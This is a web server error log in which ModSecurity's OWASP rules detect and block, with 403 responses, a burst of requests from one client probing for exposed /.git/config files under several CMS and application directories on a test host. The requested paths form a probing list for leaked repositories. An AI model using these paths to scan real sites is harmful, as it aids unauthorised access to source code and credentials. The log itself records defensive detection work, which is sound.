[Fri Nov 29 00:13:42.033654 2024] [:error] [pid 3628412] [client 179.43.189.138:57306] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /modules/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.git/config&quot;] [unique_id &quot;Z0j5Jp8TNJfFMxXmIuV3tAAAAAM&quot;]
[Fri Nov 29 00:13:42.034744 2024] [:error] [pid 3628423] [client 179.43.189.138:57316] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /extensions/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/extensions/.git/config&quot;] [unique_id &quot;Z0j5Jg52qNCqUQPzbEI1jwAAAAU&quot;]
[Fri Nov 29 00:13:42.035081 2024] [:error] [pid 3628423] [client 179.43.189.138:57316] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/extensions/.git/config&quot;] [unique_id &quot;Z0j5Jg52qNCqUQPzbEI1jwAAAAU&quot;]
[Fri Nov 29 00:13:42.035326 2024] [:error] [pid 3628423] [client 179.43.189.138:57316] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/extensions/.git/config&quot;] [unique_id &quot;Z0j5Jg52qNCqUQPzbEI1jwAAAAU&quot;]
[Fri Nov 29 00:13:42.035334 2024] [:error] [pid 3628621] [client 179.43.189.138:57308] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.git/config&quot;] [unique_id &quot;Z0j5JlLI-XWAVIgZzuog8AAAAAY&quot;]
[Fri Nov 29 00:13:42.035620 2024] [:error] [pid 3628621] [client 179.43.189.138:57308] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.git/config&quot;] [unique_id &quot;Z0j5JlLI-XWAVIgZzuog8AAAAAY&quot;]
[Fri Nov 29 00:13:42.035828 2024] [:error] [pid 3628621] [client 179.43.189.138:57308] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.git/config&quot;] [unique_id &quot;Z0j5JlLI-XWAVIgZzuog8AAAAAY&quot;]
[Fri Nov 29 00:13:42.036482 2024] [:error] [pid 3628412] [client 179.43.189.138:57306] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.git/config&quot;] [unique_id &quot;Z0j5Jp8TNJfFMxXmIuV3tAAAAAM&quot;]
[Fri Nov 29 00:13:42.036666 2024] [:error] [pid 3628412] [client 179.43.189.138:57306] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/modules/.git/config&quot;] [unique_id &quot;Z0j5Jp8TNJfFMxXmIuV3tAAAAAM&quot;]
[Fri Nov 29 00:13:42.037327 2024] [:error] [pid 3628409] [client 179.43.189.138:57326] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Z0j5Jno9X3eV6ODW5yDbjQAAAAA&quot;]
[Fri Nov 29 00:13:42.037588 2024] [:error] [pid 3628409] [client 179.43.189.138:57326] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Z0j5Jno9X3eV6ODW5yDbjQAAAAA&quot;]
[Fri Nov 29 00:13:42.037841 2024] [:error] [pid 3628409] [client 179.43.189.138:57326] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;Z0j5Jno9X3eV6ODW5yDbjQAAAAA&quot;]
[Fri Nov 29 00:13:42.046965 2024] [:error] [pid 3628411] [client 179.43.189.138:57334] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /drupal/sites/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/sites/.git/config&quot;] [unique_id &quot;Z0j5Jq4feGBFRzE8C9IKkAAAAAI&quot;]
[Fri Nov 29 00:13:42.047306 2024] [:error] [pid 3628411] [client 179.43.189.138:57334] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/sites/.git/config&quot;] [unique_id &quot;Z0j5Jq4feGBFRzE8C9IKkAAAAAI&quot;]
[Fri Nov 29 00:13:42.047701 2024] [:error] [pid 3628411] [client 179.43.189.138:57334] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/sites/.git/config&quot;] [unique_id &quot;Z0j5Jq4feGBFRzE8C9IKkAAAAAI&quot;]
[Fri Nov 29 00:13:42.077040 2024] [:error] [pid 3628410] [client 179.43.189.138:57338] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /prestashop/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.git/config&quot;] [unique_id &quot;Z0j5Jnm8KQSPFke33BTP0gAAAAE&quot;]
[Fri Nov 29 00:13:42.077391 2024] [:error] [pid 3628410] [client 179.43.189.138:57338] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.git/config&quot;] [unique_id &quot;Z0j5Jnm8KQSPFke33BTP0gAAAAE&quot;]
[Fri Nov 29 00:13:42.077670 2024] [:error] [pid 3628410] [client 179.43.189.138:57338] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.git/config&quot;] [unique_id &quot;Z0j5Jnm8KQSPFke33BTP0gAAAAE&quot;]
[Fri Nov 29 00:13:42.105502 2024] [:error] [pid 3628423] [client 179.43.189.138:57362] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /documentation/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/documentation/.git/config&quot;] [unique_id &quot;Z0j5Jg52qNCqUQPzbEI1kAAAAAU&quot;]
[Fri Nov 29 00:13:42.105583 2024] [:error] [pid 3628413] [client 179.43.189.138:57352] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /docs/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.git/config&quot;] [unique_id &quot;Z0j5JnuSClf5hqK7deURlgAAAAQ&quot;]
[Fri Nov 29 00:13:42.105973 2024] [:error] [pid 3628423] [client 179.43.189.138:57362] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/documentation/.git/config&quot;] [unique_id &quot;Z0j5Jg52qNCqUQPzbEI1kAAAAAU&quot;]
[Fri Nov 29 00:13:42.106035 2024] [:error] [pid 3628413] [client 179.43.189.138:57352] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.git/config&quot;] [unique_id &quot;Z0j5JnuSClf5hqK7deURlgAAAAQ&quot;]
[Fri Nov 29 00:13:42.106420 2024] [:error] [pid 3628423] [client 179.43.189.138:57362] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/documentation/.git/config&quot;] [unique_id &quot;Z0j5Jg52qNCqUQPzbEI1kAAAAAU&quot;]
[Fri Nov 29 00:13:42.107409 2024] [:error] [pid 3628413] [client 179.43.189.138:57352] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docs/.git/config&quot;] [unique_id &quot;Z0j5JnuSClf5hqK7deURlgAAAAQ&quot;]
[Fri Nov 29 00:13:42.117118 2024] [:error] [pid 3628412] [client 179.43.189.138:57376] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /database/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Z0j5Jp8TNJfFMxXmIuV3tQAAAAM&quot;]
[Fri Nov 29 00:13:42.117503 2024] [:error] [pid 3628412] [client 179.43.189.138:57376] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Z0j5Jp8TNJfFMxXmIuV3tQAAAAM&quot;]
[Fri Nov 29 00:13:42.117744 2024] [:error] [pid 3628412] [client 179.43.189.138:57376] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Z0j5Jp8TNJfFMxXmIuV3tQAAAAM&quot;]
[Fri Nov 29 00:13:42.118204 2024] [:error] [pid 3628409] [client 179.43.189.138:57378] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /lib/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.git/config&quot;] [unique_id &quot;Z0j5Jno9X3eV6ODW5yDbjgAAAAA&quot;]
[Fri Nov 29 00:13:42.118555 2024] [:error] [pid 3628409] [client 179.43.189.138:57378] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.git/config&quot;] [unique_id &quot;Z0j5Jno9X3eV6ODW5yDbjgAAAAA&quot;]
[Fri Nov 29 00:13:42.118820 2024] [:error] [pid 3628409] [client 179.43.189.138:57378] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.git/config&quot;] [unique_id &quot;Z0j5Jno9X3eV6ODW5yDbjgAAAAA&quot;]
[Fri Nov 29 00:13:42.119425 2024] [:error] [pid 3628621] [client 179.43.189.138:57364] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /data/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Z0j5JlLI-XWAVIgZzuog8QAAAAY&quot;]
[Fri Nov 29 00:13:42.119820 2024] [:error] [pid 3628621] [client 179.43.189.138:57364] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Z0j5JlLI-XWAVIgZzuog8QAAAAY&quot;]
[Fri Nov 29 00:13:42.120128 2024] [:error] [pid 3628621] [client 179.43.189.138:57364] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.git/config&quot;] [unique_id &quot;Z0j5JlLI-XWAVIgZzuog8QAAAAY&quot;]
